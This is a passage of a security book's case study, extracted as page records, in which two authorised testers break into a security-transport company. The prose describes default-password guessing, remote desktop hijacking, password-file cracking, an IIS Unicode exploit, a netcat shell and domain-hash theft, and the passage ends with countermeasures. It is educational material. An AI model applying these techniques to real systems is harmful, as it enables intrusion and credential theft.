blindly going\nout and simply scanning each IP address. After we do our target\nenumeration, we have maybe five or six end systems that we want\nto examine further.\nIn this case they found only three open ports: a mail server, a Web\nserver with all the security patches installed that was apparently not being\nused, and on port 23, the telnet service. When they tried to telnet in on\nThe Art of Intrusion\n198\n"
        },
        {
            "page_number": 220,
            "text": "the device, they got the typical “User Access Verification” Cisco pass-\nword prompt. So they were seeing a little bit of progress — at least they\nhad identified the box as a Cisco device. \nOn a Cisco router, Louis knew from experience, the password is quite\noften set to something quite obvious. “In this case we tried three pass-\nwords — the name of the company, blank, and cisco, and we could not\nget into that router. So instead of creating too much noise at this point,\nwe decided to stop attempting to access the service.”\nThey tried scanning the Cisco device for a few common ports but got\nnowhere. \nSo, on that first day we spent a great deal of time in analyzing\nthe company and their network, and starting some initial port\nscans. I wouldn’t say we were about to give up, because there were\nstill quite a few tricks that we’d certainly try again with any net-\nwork before we actually started to give up.\nThe sum total of their results for a whole day of effort didn’t go much\nbeyond having identified one single router.\nThe Second Day\nLouis and Brock came in for their second day ready to start doing more\nintensive port scanning. Using the term services to refer to open ports,\nLouis explained: \nAt this point we were thinking to ourselves that we need to find\nmore services on these machines. So we turned the volume up a lit-\ntle bit and tried to find something that was really going to help us\nto get into this network. What we were seeing was that there was\ncertainly good firewall filtering in place. We were really looking\nfor something that was [being] allowed by mistake and/or some-\nthing that was misconfigured. \nThen, using the Nmap program, a standard tool for port scanning, they\ndid a scan with the program’s default services file that looked for some\n1,600 ports; again they came up with the empty bag — nothing significant. \n“So what we did was a complete full port scan, scanning both the router\nand the mail servers.” A full port scan meant examining more than 65,000\nports. “We were scanning every single TCP port and looking for any pos-\nsible services on these hosts that we had on our target list at that point.” \nThis time they found something interesting, yet strange and a little \nperplexing.\nChapter 9\nOn the Continent\n199\n"
        },
        {
            "page_number": 221,
            "text": "Port 4065 was open; it’s unusual to find such a high port in use. Louis\nexplained, “What we thought at that point was that maybe they’ve got a\ntelnet service configured on port 4065. So, what we did was telnet into\nthat port and see if we could verify that.” (Telnet is a protocol for\nremotely controlling another machine anywhere on the Internet. Using\ntelnet, Louis connected to the remote port, which then accepted com-\nmands from his computer and responded with output displayed directly\nto his screen.)\nWhen they tried to connect to it, they got back a request for a login\nname and password. So they were right that the port was being used for\ntelnet service — but the dialog for user authentication was very different\nthan presented by a Cisco telnet service. “After a while, we identified it\nas some 3COM device. This then really tweaked our enthusiasm for the\njob because it isn’t often you find a Cisco box that looks like some other\ndevice, or find some other service listed on a high TCP port.” But the\nfact that the telnet service on port 4065 was running as a 3COM device\ndidn’t make sense to them. \nWe had two ports open on one device and they identified them-\nselves as completely different devices made by completely different\nmanufacturers.\nBrock found the high TCP port and connected to it using telnet.\n“Once he got a log-in prompt, I shouted back to try admin [for the user-\nname], with the usual suspect passwords like password, admin, and blank.\nHe tried various combinations of these three as the username and pass-\nword, and hit gold after only a few attempts: the username and password\non the 3COM device were both admin. “At that point he shouted that\nhe got in,” Louis said, meaning that they were now able to get telnet\naccess to the 3COM device. The fact that it was an administrative\naccount was icing on the cake. \nOnce we guessed that password, it was the initial high on the job. \nIt was kind of the standard woo-hoo. We were working at differ-\nent workstations. Initially, while we were doing the network and\nenumeration scanning, we were on our own machines and shar-\ning information between us. But once he found the port that gave\nhim access to that login prompt, I went over to his machine and\nwe started working together, both at the same machine.\nIt was great. It was a 3COM device and we got console access \nto it and maybe we’d gotten an avenue to investigate what we \ncan do. \nThe Art of Intrusion\n200\n"
        },
        {
            "page_number": 222,
            "text": "The first thing we wanted to do was to find out exactly what the\n3COM device was, and why it was accessible on a high TCP port\non the Cisco router.\nThrough the command-line interface, they were able to query infor-\nmation about the device. “We figured that maybe someone had plugged\nthe console cable from this 3COM device into the Cisco device and inad-\nvertently enabled access.” That would make sense, as a convenient way\nemployees could telnet into the 3COM device through the router.\n“Maybe there weren’t enough monitors or keyboards in the Data\nCenter,” Louis guesses, and they had jury-rigged a cable as a temporary\nfix. When the need was over, the administrator who has strung the cable\nhad forgotten all about it. He had walked away, Louis figured, “quite\nunaware of the consequences of his actions.”\nLooking at the Configuration \nof the 3COM Device\nThe guys now understood that the 3COM device was behind the fire-\nwall, and that the administrator’s mistake had provided a circuitous path,\nmaking it possible for an attacker to connect behind the firewall through\nthe open high port.\nNow that they had access to the 3COM console, they looked at the\nconfiguration records, including the unit’s assigned IP address, and pro-\ntocols being used for virtual private network connectivity. But they dis-\ncovered that the device also sat on the same address range as the mail\nserver and outside of an internal firewall, on the DMZ. “We concluded\nthat it actually sat behind the perimeter firewall and was protected from\nthe Internet using some sort of filtering rules.”\nThey tried to look at the configuration of the device itself to see how\nthe incoming connections were set up, but through that interface they\ncouldn’t get enough information. Still, they guessed that when any user\nconnected to port 4065 on the Cisco router from somewhere on the\nInternet, the connection was likely being made to the 3COM device that\nwas plugged into the Cisco router. \nSo at this point we were very confident that we were going to be\nable to get access to the back end networks and gain more control\nover the internal network. At this point, we were in very good\nspirits but what the British call “pretty fagged,” already having\nput in the equivalent of two full working days.\nChapter 9\nOn the Continent\n201\n"
        },
        {
            "page_number": 223,
            "text": "We went to the pub and talked about how the next day was going\nto be great because we were going to then start by looking at some\nmore end systems and kind of find our way deeper into the network. \nCurious about this 3COM device, they had set up to capture the real-\ntime console log. If any activity happened overnight, they would be able\nto see it when they came in the next morning. \nThe Third Day\nWhen Brock inspected the console log in the morning, he found that var-\nious IP addresses had come up. Louis explained:\nAfter looking around the 3COM device a little more, we realized\nit was some sort of VPN that remote users were using to connect\nto the company network from somewhere on the Internet. \nAt this point, we were certainly enthused that we would get to\ngain access, in the same way that the legitimate users were gain-\ning access. \nThey tried to set up their own personal VPN interface on the 3COM\ndevice by bringing up another interface on the 3COM box, with a dif-\nferent IP address, one that the firewall wasn’t explicitly filtering. \nIt didn’t work. They found that the device couldn’t be configured\nwithout disrupting legitimate services. They couldn’t bring up an identi-\ncally configured VPN system, and the way the architecture was set up, it\nrestricted enough so that they couldn’t do what they wanted to. \nSo this avenue of attack strategy faded quickly. \nWe were a little bit down, a little bit quiet at this point. But it\nwas very much the case that it’s the first try and there’s bound to\nbe another way. We still had enough incentive, we still had access\nto this one device; we still had that foothold. We became kind of\nintense on taking this thing a little bit further.\nThey were in the DMZ of the company’s network, but when they tried\ngetting connections out to their own systems, they were stymied. They\nalso tried doing a ping sweep (trying to ping every system on the net-\nwork) on the entire network, but from the 3COM system behind the\nfirewall, to identify any potential systems to add to their target list. If they\nwere any machine addresses in the cache, it meant that some device was\nblocking access to the higher-level protocol. “After several attempts,”\nLouis said, “we did see entries in the ARP cache, indicating that some\nThe Art of Intrusion\n202\n"
        },
        {
            "page_number": 224,
            "text": "machines had broadcast their machine address.” (ARP, the Address\nResolution Protocol, is a method for finding a host’s physical address\nfrom its IP address. Each host maintains a cache of address translations\nto reduce the delay in forwarding data packets.) \nSo there were definitely other machines in the domain, “but [they]\nweren’t responding to pings — which is a classic sign of a firewall.” \n(For those not familiar with pinging, it’s a network scanning technique\nthat involves transmitting certain types of packets — Internet Control\nMessage Protocol, or ICMP — to the target system to determine\nwhether the host is “alive” or up. If the host is alive, it will respond with\nan “ICMP echo reply” packet.) Louis continues, “This seemed to con-\nfirm our impression that there was another firewall, there was another\nlayer of security between the 3COM device and their internal network.”\nLouis was beginning to feel they had reached a dead end. \nWe got access to this VPN device, but we couldn’t set up our own\nVPN through it. At that point, the enthusiasm levels went down\na little bit. We kind of started to get the feeling that we’re not\nactually going to get any further into the network. And so we\nneeded to brainstorm for ideas.\nThey decided to investigate the IP addresses that they had discovered\nin the console log. “We kind of saw that a next step was to have a look\nand see what was remotely communicating to this 3COM device, because\nif you could break into that device, you might be able to hijack an exist-\ning connection to the network.” Or they might be able to obtain the\nnecessary authentication credentials to masquerade as a legitimate user.\nThey knew some of the filtering rules, Louis said, and were looking for\nways of bypassing these rules on the firewall. His hope was that they’d be\nable to “find systems that were trusted and maybe had the leverage to\nactually pass through this firewall. The IP addresses that were coming up\nwere of great interest to us.” \nWhen they were connected to the 3COM system console, he explained,\nanytime a remote user connected or a configuration change was made, it\nflashed up an alert message at the bottom of the screen. “We were able\nto see the connections going on in these IP addresses.”\nThe registration records detailed the organization that particular IP\naddresses were registered to. Additionally, these records also include the\ncontact information for administrative and technical personnel responsi-\nble for the organization’s network. Using these addresses, they again\nturned to the registration database records on RIPE, which gave them\ninformation on what company these IP addresses were assigned to.\nChapter 9\nOn the Continent\n203\n"
        },
        {
            "page_number": 225,
            "text": "In fact, this search brought another surprise. “We found the addresses\nwere registered to a big telecommunications provider within this partic-\nular country. At this point we couldn’t completely put it all together, we\ncouldn’t really understand what these IP addresses were, why people\nwere connecting from a telecoms company,” Louis said, using the British\nterm for what we call an ISP. The two guys began to wonder if the VPN\nconnections were even from remote users of the company, or something\nentirely different that they couldn’t at the moment even guess at. \nWe were very much where we needed to sit down and have a real\nbrain dump. We needed to really put together this picture so we\ncan actually start to try and understand. \nThe promise of the early morning had not been fulfilled. We had\naccess to the system, but yet we didn’t manage to get any further,\nand felt that we had not made any progress during the day. But\ninstead of just disappearing home and kind of coming back in the\nnext morning and picking up there, we thought we’d go to the\npub, have a drink and kind of de-stress and clear our heads before\nwe got on public transport and made our way home. \nThis was early springtime with a little bit of a nip in the air. We\nleft the office and went around the corner to a kind of quite dark\nand dingy traditional English pub.\nI was drinking lager, Brock was drinking peach schnapps and\nlemonade — a good drink, you ought’a try it. And we just kind\nof sat there and chatted and commiserated between ourselves with\nhow the day hadn’t gone as planned. After the first drink we were\na little bit more relaxed and a piece of paper and a pen came out.\nWe just started throwing out some ideas about what we were\ngoing to do next. \nWe were very kind of keen to get something laid out so when we\ncame back in the morning. we could quickly sit down and try\nsomething. We drew up the network architecture as we mapped it,\nand tried to identify what users would need VPN access, where\nthe systems were physically located, and the likely steps the system\nimplementers thought out when setting up the remote access serv-\nice for this company.\nWe drew up the known systems and then from that point tried to\nwork out some of the detail and where some of the other systems\nwere located [see Figure 9-1]. We needed to understand where in\nthe network that 3COM device was situated. \nThe Art of Intrusion\n204\n"
        },
        {
            "page_number": 226,
            "text": "Figure 9-1: Illustration of what the two hackers thought might be the configuration,\nwhich would explain what they had observed about the network and the operations.\nLouis wondered who besides the internal employees might also need to\nhave access to this network. This was a company proud of its technolog-\nical innovation, so Louis and Brock thought that maybe they had devel-\noped a “really great distribution application” that would enable guards to\nlog in after they had made a delivery, and then find out what their next\npickup would be. This application may have been programmed to make\nthe process idiot-proof through automation. Maybe the driver would\nclick an icon, which would tell the application to connect to the applica-\ntion server and obtain his orders. \nWe were thinking that these drivers are not going to be very com-\nputer savvy, they’re going to have a system set up that’s very \neasy to use. We started to think of it from a business point of \nview: What kind of system would be easy to set up, what kind of\nsystem would be easy to maintain and would be secure?\nThey thought about a dial-up service, “perhaps from a laptop computer\nin the cabin [the driver’s compartment]. And the company would either\nFully Patched\nExternal\nMail Server\nFully Patched\nExternal\nWeb Server\nFirewall\n3Com VPN\nterminator\nCisco Router\nProviding IP\nFiltering\nDMZ Network\nUnpatched\nIIS Web\nServer\nPrimary\nDomain\nController\nInternal Network\nRADIUS Server\nApplication\nServer\nPPTP VPN Session\nTelecoms Provider\nCell phone base station\nSecurity Van\nLaptop\nBank of\nModems\nBrock\nLouis\nInternet\nChapter 9\nOn the Continent\n205\n"
        },
        {
            "page_number": 227,
            "text": "have to host these servers that we’d gotten into, or they would have to\noutsource them with a third party. We hypothesized that the third party\nwas a telecoms company, and information would have to pass from the\ntelecoms company to our target company, and that had to pass over the\nInternet through a VPN tunnel.” They conjectured that the guards\nwould call into the ISP and authenticate there, before being allowed to\nconnect into the target company’s network.\nBut there was also another possibility. Louis went on:\nWe hypothesized, “Let’s see if we can work out an architecture\nwhereby a guy in a van can dial up, pass his authentication cre-\ndentials across and they are actually authenticated by the target\ncompany rather than the telecoms provider. How could that com-\npany VPN be set up so that any information being passed from\nthe guard to the target company would not go unencrypted across\nthe Internet?”\nThey also thought about how the company was going about authenti-\ncating users. If a guard has to dial up to one of these systems located at\nthe telecoms company and authenticate to the telecoms company, they\nreasoned, then the authentication services were simply being outsourced.\nMaybe there was another solution, they figured, whereby the authentica-\ntion servers were actually hosted by the target company rather than the\ntelecoms provider. \nOften the authentication task is passed off to a separate server that pro-\nvides this function. Maybe the 3COM device was being used to access an\nauthentication server on the internal network of the target company.\nCalling from a cellular modem, a guard would connect to the ISP, be\npassed to the 3COM device, and his username and password would then\nbe sent off to the other server for authentication. \nSo their working hypothesis at this point was that when a security guard\ninitiated a dial-up connection, he established a VPN between himself and\nthe 3COM device. \nLouis and Brock figured that to gain access to the internal network, they\nfirst had to gain access to the telecommunications system at the ISP that\nthe van drivers connected with. But “one thing we didn’t know was the\nphone numbers of these dial-up devices. They were located in a foreign\ncountry and we didn’t know what kind of phone lines they were, and we\ndidn’t have much chance to find that information on our own. The big\nthing we knew was that the type of protocol for the VPN was PPTP.”\nThe reason this was significant is because Microsoft’s default VPN instal-\nlation just uses a shared secret, which is usually the Windows login and\npassword to the server or domain.\nThe Art of Intrusion\n206\n"
        },
        {
            "page_number": 228,
            "text": "They had had a few drinks by this time, and they decided on a “no-\nholds-barred approach” to solving the problem.\nAt this stage you’re going to keep this piece of paper you’ve scrib-\nbled all this stuff down on because this could be a really good hack\nif we get in. And there was almost a sense of pride between the two\nof us about how we were going to accomplish this. \nSome Thoughts about “Hackers’ Intuition”\nThe guess the pair made that night would turn out to be quite accurate.\nLouis remarked about this insight that good hackers seem to have: \nIt’s very hard to explain what causes you to get that feeling. It just\ncomes from experience and looking at the way the systems are \nconfigured. \nBrock, at a very early stage, just got the feeling that we should\nkeep going with this thing because he thought we were going to get\na result from the research; it’s very hard to explain. Hacker’s\nintuition?\nYou see little pieces of information, and the way things are\nphrased, and you start to get a little bit of an insight of the com-\npany and the people that are responsible for the IT systems. And\nthere was kind of this feeling that they knew about security but\nthat maybe they’re doing something a little bit wrong.\nMy own view of the subject is that hackers gain insight into how net-\nworks and systems are usually configured in the business environment\njust by poking around. With experience, you gain an awareness of how\nsystem administrators and implementers think. It’s like a game of chess,\nin which you’re trying to outthink or outsmart your opponent. \nSo I believe what’s actually at play here is based on experience of how sys-\ntem administrators set up networks and the common mistakes they make.\nMaybe Louis was right at the beginning of his remarks on the subject:\nWhat some people call intuition is better labeled experience.\nThe Fourth Day\nThe next morning when they came in, they sat there and watched the\nconsole log on the 3COM device, waiting for people to connect up. Each\ntime someone did, as quickly as possible they port scanned the IP address\nthat was making an incoming connection.\nChapter 9\nOn the Continent\n207\n"
        },
        {
            "page_number": 229,
            "text": "They found that these connections came up for maybe a minute or so\nand then disconnected. If they were right, a guard would dial in, pick up\nhis work order, then go right back offline again. Which meant they would\nhave to move very quickly. “When we saw these IP addresses flash up,\nwe’d really bash the client system hard,” Louis commented, using “bash”\nin the sense of pounding the keys with adrenaline running, as in playing\nan exciting computer game.\nThey picked out some ports for services that might be vulnerable, hop-\ning to find one that could be attacked, such as a telnet or FTP server, or\nan insecure Web server. Or perhaps they could gain access to open shares\nover NetBIOS. They also looked for GUI-based remote desktop pro-\ngrams such as WinVNC and PC Anywhere.\nBut as the morning dragged on, they couldn’t see any services running\nbeyond a couple of hosts. \nWe weren’t really getting anywhere, but we sat there and kept\nscanning every time a remote user connected. And then one\nmachine connected. We did a port scan and found an open port\nordinarily used for PC Anywhere.\nThe application PC Anywhere allows taking control of a computer\nremotely. But this is only possible when the other computer is also run-\nning the program.\nSeeing that port showed up on the port scan, there was kind of this\nrenewed sense of enthusiasm — “Ah, there’s PC Anywhere on this\nbox. This could be one of the end user machines, let’s really go \nwith this.” \nWe were shouting about the place, “Who has PC Anywhere\ninstalled!?” \nSomeone shouted back, “I’ve got PC Anywhere.” So I shouted out the\nIP address so he could connect to the system as quickly as possible.\nLouis called the effort to connect to a PC Anywhere system “a very\ndefining moment.” He joined the other guy at his machine as a window\nappeared on the screen. “It’s initially a black background,” Louis said,\n“and one of two things happens — either a gray password prompt is \ndisplayed, or the background goes blue and a Windows desktop comes\ninto view.”\nThe desktop option is the one we were holding our breaths for.\nIt seemed like an eternity while waiting for the black screen to\nThe Art of Intrusion\n208\n"
        },
        {
            "page_number": 230,
            "text": "disappear. I kept thinking to myself, “It’s connecting, it’s con-\nnecting, it’s going to timeout.” Or “I’m going to get a password\nprompt.”\nRight at the last second, when I thought “Here comes the pass-\nword prompt,” it was the Windows desktop! Wow! We’ve got a\ndesktop at this point. Everybody else in the room came over to look.\nMy reaction was, “Here we go again, let’s really get a hold of this,\nlet’s not lose this chance.” \nSo they were now successfully into the client that connected to the\n3COM device.\nAt this point, we thought it was kill or be killed — we knew that\nthese people were connecting up for very short time and we knew\nwe might not get another opportunity. \nThe first thing to do was to open the PC Anywhere session and hit two\non-screen buttons, that Louis referred to as the “Blank the screen but-\nton” and the “Lock the user out of the console button.” He explained:\nWhen you use PC Anywhere, by default both the person at the\ndesktop of the machine and the person using PC Anywhere can\nhave access to the mouse and move it about the screen to run\napplications, or open files, and so forth. But with PC Anywhere\nyou can actually lock out the user at the keyboard.\nThey did this, gaining control of the session, also making sure the user\ncouldn’t see what they were doing because they had blanked his screen.\nLouis knew that it wouldn’t take the user long to get suspicious or think\nhe had a computer problem, and shut the machine down, meaning that\nthe guys didn’t have very long. \nWe were now trying to rescue our chance of finally getting in. At\nthis point, we had to quickly think on our feet between us to decide\nwhat we were going to try next, and what valuable information\nwe could extract from this machine.\nI could see that the machine was running Microsoft Windows 98\nand so what we had to do was find someone who could tell us what\ninformation they could get out of a Windows 98 machine. \nFortunately, one of these guys in the room . . . had been kind of\ntaking an interest, this guy was not actually working on our proj-\nect, but he knows how to get information off systems. \nChapter 9\nOn the Continent\n209\n"
        },
        {
            "page_number": 231,
            "text": "The first thing he suggested was looking at the password list (PWL)\nfile. (This file, used under Windows 95, 98, and ME, contains sensitive\ninformation such as dial-up and network passwords. For example, if you\nuse dial-up networking under Windows, all the authentication details,\nincluding the dial-up number, username, and password, are likely stored\nin a PWL file.) \nBefore downloading the file, they had to turn off the antivirus software\nso it wouldn’t detect the tools they were using. Then they tried using the\ndocument-transfer capability in PC Anywhere to transfer the PWL file\nfrom the driver’s machine to themselves. It didn’t work. “We weren’t\nsure why, but didn’t have time to sit around and discuss it. We had to get\nthe PWL information off that machine immediately, while the driver was\nstill on line.” \nWhat else could they do? One possibility: upload a cracking tool, crack\nthe PWL file on the driver’s machine and extract the information into a\ntext file, and then send the text file to themselves. They tried to login into\nan FTP server to download the PWL craking tool. But they realized a dif-\nficulty: The keyboard mappings on the driver’s machine were for the for-\neign language, which would explain the problems they were having\ntrying to authenticate. “We kept getting a ‘Login Incorrect’ message\nbecause of the foreign keyboard mappings.” \nThe clock was ticking.\nWe thought our time was going to be up. This guy’s sitting in a\nsecurity van, he might be transporting a lot of money, or maybe\nprisoners. He’s wondering to himself, “What the heck is going on\nhere?” \nI’m afraid he’s going to pull the plug before we get what we want. \nHere they were, facing a hugely pressured time crunch, and none of the\nguys in the room had an answer for the foreign-keyboard problem.\nMaybe as a workaround they could enter the username and password in\nASCII code instead of actual letters and numbers. But nobody knew off-\nhand how to enter characters using the equivalent ASCII code.\nSo, what does anyone do in today’s world when they need an answer\nin a hurry? That’s what Louis and Brock did: “We opted to jump on to\nthe Internet and do some research to find a way of entering letters with-\nout using the letters on the keyboard.” \nIn short order, they had their answer: Activate the Num Lock key, then\nhold down the <Alt> key and type the number of the ASCII character on\nthe numeric keypad. The rest was easy:\nThe Art of Intrusion\n210\n"
        },
        {
            "page_number": 232,
            "text": "We often need to translate letters and symbols into ASCII and\nvice versa. It’s simply a case of standing up and looking at one of\nour useful crib sheets that we have up on the walls.\nInstead of pictures of pinup girls, these guys had ASCII charts on the\nwalls. “ASCII pinups,” Louis described them. \nWith a little scribbling down of information, and one guy typing at the\nkeyboard while the other read him what to type, they successfully entered\nthe username and password. They were then able to transfer the PWL\ncracking tool and run it to extract the information from the PWL file into\na text file, which they then transferred off the driver’s laptop to an FTP\nserver under their control.\nWhen Louis examined the file, he found the authentication credentials\nhe had been looking for, including the dial-up number and logon infor-\nmation being used by the driver when connecting to the company’s VPN\nservice. That, Louis thought, was all the information he needed.\nWhile cleaning up to be sure they didn’t leave any traces of their visit,\nLouis inspected the icons on the desktop and noticed one that seemed to\nbe for the application being run for the guards to pick up their informa-\ntion from the company. And so they knew that these machines were, in\nfact, connecting through to the company and querying an application\nserver to obtain information needed by the drivers in the field. \nAccessing the Company’s System\n“We were very aware,” Louis remembered, “that this user may now be\nreporting strange activity, so we extracted ourselves from the situation.\nBecause if this incident got reported and the VPN service got shut down,\nthen our login credentials wouldn’t be worth anything.”\nA couple of seconds later, they noticed that their PC Anywhere con-\nnection dropped — the guard had disconnected. Louis and the crew had\nextracted the information from the PWL file just in the nick of time.\nLouis and Brock now had a phone number, which they expected to be\nfor one of the dial-up devices that they had drawn on their diagram in the\npub the night before. But again, it was foreign number. Using a Windows\nsystem of the same kind that the guard had been using, they dialed up to\nthe company’s network, entered the username and password and “We\nfound that we’ve successfully established a VPN session.”\nThe way the VPN was configured, they were given a virtual IP address\nwithin the company’s DMZ, so they were behind the first firewall but still\nfacing the firewall guarding the internal network that they previously \ndiscovered. \nChapter 9\nOn the Continent\n211\n"
        },
        {
            "page_number": 233,
            "text": "This IP address assigned by the VPN was on DMZ range and was likely\ntrusted by some machines on the internal network. Louis expected that\npenetrating the internal network would be much, much easier, since they\nhad gotten past the first firewall. “At this point,” he says, “we expected\nit would easy to get through the firewall, into the internal networks.” But\nwhen he tried, he found that he couldn’t get in directly to an exploitable\nservice on the machine running the application server. “There was a very\nstrange TCP port that was allowed through the filtering, that we guessed\nwas for the application that the guards were using. But we didn’t know\nhow it worked.” \nLouis wanted to find a system on the company’s internal network that\nthey could access from the IP address that had been assigned. He\nadopted the “usual hacker rules” to try to find a system they could\nexploit on the internal network. \nThey were hoping to find any one system inside the network that was\nnever remotely accessible, knowing it would probably not be patched\nagainst these vulnerabilities, since it was “more likely to be treated as an\ninternal-use-only system.” They used a port scanner to scan for any acces-\nsible Web server (port 80) across the entire IP address range of the inter-\nnal network, and found a Windows server they could communicate with\nthat was running Internet Information Server (IIS), but an older version\nof the popular server software — IIS4. That was great news, since they\nwere likely to find some unpatched vulnerability or configuration error\nthat would give them the keys to the kingdom.\nThe first thing they did was to run a Unicode vulnerability detection\ntool against the IIS4 server to see if it was vulnerable, and it was.\n(Unicode is a 16-bit character set for encoding characters from many dif-\nferent languages using a single character set.) “So we were able to use the\nUnicode exploit to execute commands on that IIS Web server,” exploit-\ning security vulnerabilities on a system past the second filtering firewall\non their internal network, “deep inside trusted territory, as it were,” in\nLouis’s description. The hackers in this case crafted a Web request\n(HTTP) that used these specially encoded characters to bypass the secu-\nrity checks of the Web server, allowing them to execute arbitrary com-\nmands with the same privileges as the account the Web server was\nrunning under. \nStuck because they did not have the ability to upload files, they now saw\nan opportunity. They used the Unicode vulnerability to run the “echo”\nshell command to upload an Active Server Pages (ASP) script — a simple\nfile uploader that made it easy to transfer more hacking tools to a direc-\ntory under the webroot that was authorized to run server-side scripts.\nThe Art of Intrusion\n212\n"
        },
        {
            "page_number": 234,
            "text": "(The webroot is the root directory of the Web server, as distinguished\nfrom the root directory of a particular hard drive, such as C:\\.) The echo\ncommand simply writes any arguments passed to it; the output can be\nredirected to a file instead of the user’s screen. For example, typing “echo\nowned > mitnick.txt” will write the word “owned” in the file mitnick.txt.\nThey used a series of echo commands to write out the source code of an\nASP script to an executable directory on the Web server. \nThey then uploaded other hacking tools, including the popular net-\nworking tool netcat, which is a very useful utility for setting up a com-\nmand shell to listen on an incoming port. They also uploaded an exploit\ntool called HK that exploited a vulnerability in older version of Windows\nNT to obtain system administrator privileges. \nThey uploaded another simple script to run the HK exploit and then\nused netcat to open a shell connection back to themselves, enabling them\nto enter commands to the target machine, much like getting a “DOS\nprompt” in the days of the DOS operating system. “We tried to initiate\nan outgoing connection from the internal web server to our computer on\nthe DMZ,” Louis explained. “But that didn’t work, so we had to use a\ntechnique called ‘port barging.’” After executing the HK program to\ngain privileges, they configured netcat to listen on port 80; to “barge”\nthe IIS server out of the way temporarily, watching for the first incoming\nconnection to port 80. \nLouis explained barging by saying, “You essentially temporarily push\nIIS out of the way, to steal a shell, and allow IIS to sneak back in at the\nsame time you maintain access to your shell.” In the Windows environ-\nment, unlike Unix-type operating systems, it’s permissible to have two\nprograms use the same port simultaneously. An attacker can take advan-\ntage of this feature by finding a port that’s not filtered by the firewall and\nthen “barging” onto the port.\nThat’s what Louis and Brock did. The shell access they already had on\nthe IIS host was limited to the rights permitted to the account that the\nWeb server was running under. So they ran HK and netcat, and were able\nto gain full system privileges — running as the system user, which is the\nhighest privilege on the operating system. Using standard methodolo-\ngies, this access would allow them to get full control of the target’s\nWindows environment. \nThe server was running Windows NT 4.0. The attackers wanted to get\na copy of the Security Accounts Manager (SAM) file, which contained\nthe details of user accounts, groups, policies, and access controls. Under\nthis older version of the operating system, they ran the “rdisk /s” com-\nmand to make an emergency repair disk. This program initially creates\nChapter 9\nOn the Continent\n213\n"
        },
        {
            "page_number": 235,
            "text": "several files in a directory named “repair.” Among the files was an\nupdated version of the SAM file that contained the password hashes for\nall the accounts on the server. Earlier Louis and Brock recovered the\nPWL file containing sensitive passwords from a security guard’s laptop;\nnow they were extracting the encrypted passwords of users on one of the\nservers of the company itself. They simply copied this SAM file into the\nwebroot of the Web server. “Then, using a web browser, we retrieved it\nfrom the server to our machine back in our office.” \nWhen they had cracked the passwords from the SAM file, what they\nnoticed was that there was another administrator account on the local\nmachine that was different than the built-in administrator account.\nAfter I believe it was a couple of hours of cracking, we were able\nto crack the password for this account and then attempt \nto authenticate it to the primary domain controller. And we \ndiscovered that the local account that had administrator rights\non the web server we hacked also had the same password on the\ndomain! The account also had domain administrator rights.\nSo there was a local administrator account on the web server that\nhad the same name as a domain administrator account for the\nentire domain, and the password for both of those accounts was\nalso the same. It was obviously an administrator being lazy and\nsetting up a second account with the same name as the adminis-\ntrator account on the local system, and giving it the same \npassword.\nStep-by-step. The local account was simply an administrator on the Web\nserver and didn’t have privileges to the entire domain. But by recovering\nthe password on that local Web server account, thanks to a careless, lazy\nadministrator, they were now able to compromise the domain adminis-\ntrator account. The responsibility of a domain administrator is to admin-\nister or manage an entire domain, as distinguished from being an\nadministrator on your local desktop or laptop (single machine). In\nLouis’s view, this administrator wasn’t an exception. \nThis is a common practice we see all the time. A domain admin-\nistrator will create local accounts on their machine on the net-\nwork, and use the same password for their accounts with domain\nadministrator privileges. And that means the security at each one\nof those local systems can be used to compromise the security of the\nentire domain.\nThe Art of Intrusion\n214\n"
        },
        {
            "page_number": 236,
            "text": "Goal Achieved\nGetting closer. Louis and Brock saw that they could now gain full control\nover the application server and the data contained on it. They obtained\nthe IP address used to connect to the application server from the security\nguard’s laptop. From this, they realized the application server was on the\nsame network, which is likely part of the same domain. At last, they had\nfull control over the entire company’s operations.\nNow we had reached right to the heart of the business. We could\nchange orders on that application server, so we could get the\nguards to deliver money to where we said. We could essentially\nissue orders to the guards like, “Pick up money from this business\nand drop off at this address,” and you’re waiting there to get it\nwhen they arrive.\nOr “Pick up this prisoner A, take him to this location, deliver him to\nthe custody of this person,” and you’ve just gotten your cousin’s best\nfriend out of jail. \nOr a terrorist.\nThey had in their hands a tool for getting rich, or creating havoc. “It\nwas kind of shocking because they didn’t see the possibility of what could\nhave happened had we not brought this to their attention,” Louis says. \nWhat that company considers “security,” he believes, “is actually suspect\nsecurity.” \nINSIGHT\nLouis and Brock did not enrich themselves from the power they held in\ntheir hands, and they didn’t issue orders to have any prisoners released or\ntransferred. Instead, they provided the company a full report of what they\nhad discovered.\nFrom the sound of it, the company had been seriously remiss. They\nhadn’t gone through a risk analysis step-by-step — “If the first machine\ngets compromised, what could a hacker do from that point?” and so on.\nThey considered themselves secure because with a few configuration\nchanges, they could close the gap Louis had pointed out. Their assump-\ntion was that there weren’t other faults except this one that Louis and\nBrock had managed to find and use. \nLouis sees this as a common arrogance within the business sector — an\noutsider can’t come along and preach security to them. Company IT\nChapter 9\nOn the Continent\n215\n"
        },
        {
            "page_number": 237,
            "text": "people don’t mind being told about a few things that need to be fixed,\nbut they won’t accept anyone telling them what they need to do. They\nthink they know it already. When a breach occurs, they figure they just\ndropped the ball on this one occasion. \nCOUNTERMEASURES\nAs in so many of the stories in this book, the attackers here did not find\nmany security flaws in their target company, yet the few they found were\nenough to allow them to own the company’s entire domain of computer\nsystems that were essential to business operations. Following are some\nlessons worth noting.\nTemporary Workarounds\nAt some time in the past, the 3COM device had been plugged directly\ninto the serial port of the Cisco router. While the pressure of answering\nimmediate needs may justify temporary technology shortcuts, no com-\npany can afford to let “temporary” become “forever.” A schedule should\nbe set up for checking the configuration of the gateway devices through\nphysical and logical inspection, or by using a security tool that continu-\nally monitors whether any open ports existing on a host or device is in\naccordance with company security policy.\nUsing High Ports\nThe security company had configured a Cisco router to allow remote\nconnections over a high port, presumably in the belief that a high port\nwould be obscure enough never to be stumbled upon by an attacker —\nanother version of the “security through obscurity” approach.\nWe’ve already addressed the issue more than once in these pages about\nthe folly of any security decision based on this attitude. The stories in this\nbook demonstrate again and again that if you leave a single gap, some\nattacker will sooner or later find it. The best security practice is to ensure\nthat the access points of all systems and devices, obscure or not, be fil-\ntered from any untrusted network.\nPasswords\nOnce again, all default passwords for any device should be changed\nprior to the system or device going into production. Even the technical\nThe Art of Intrusion\n216\n"
        },
        {
            "page_number": 238,
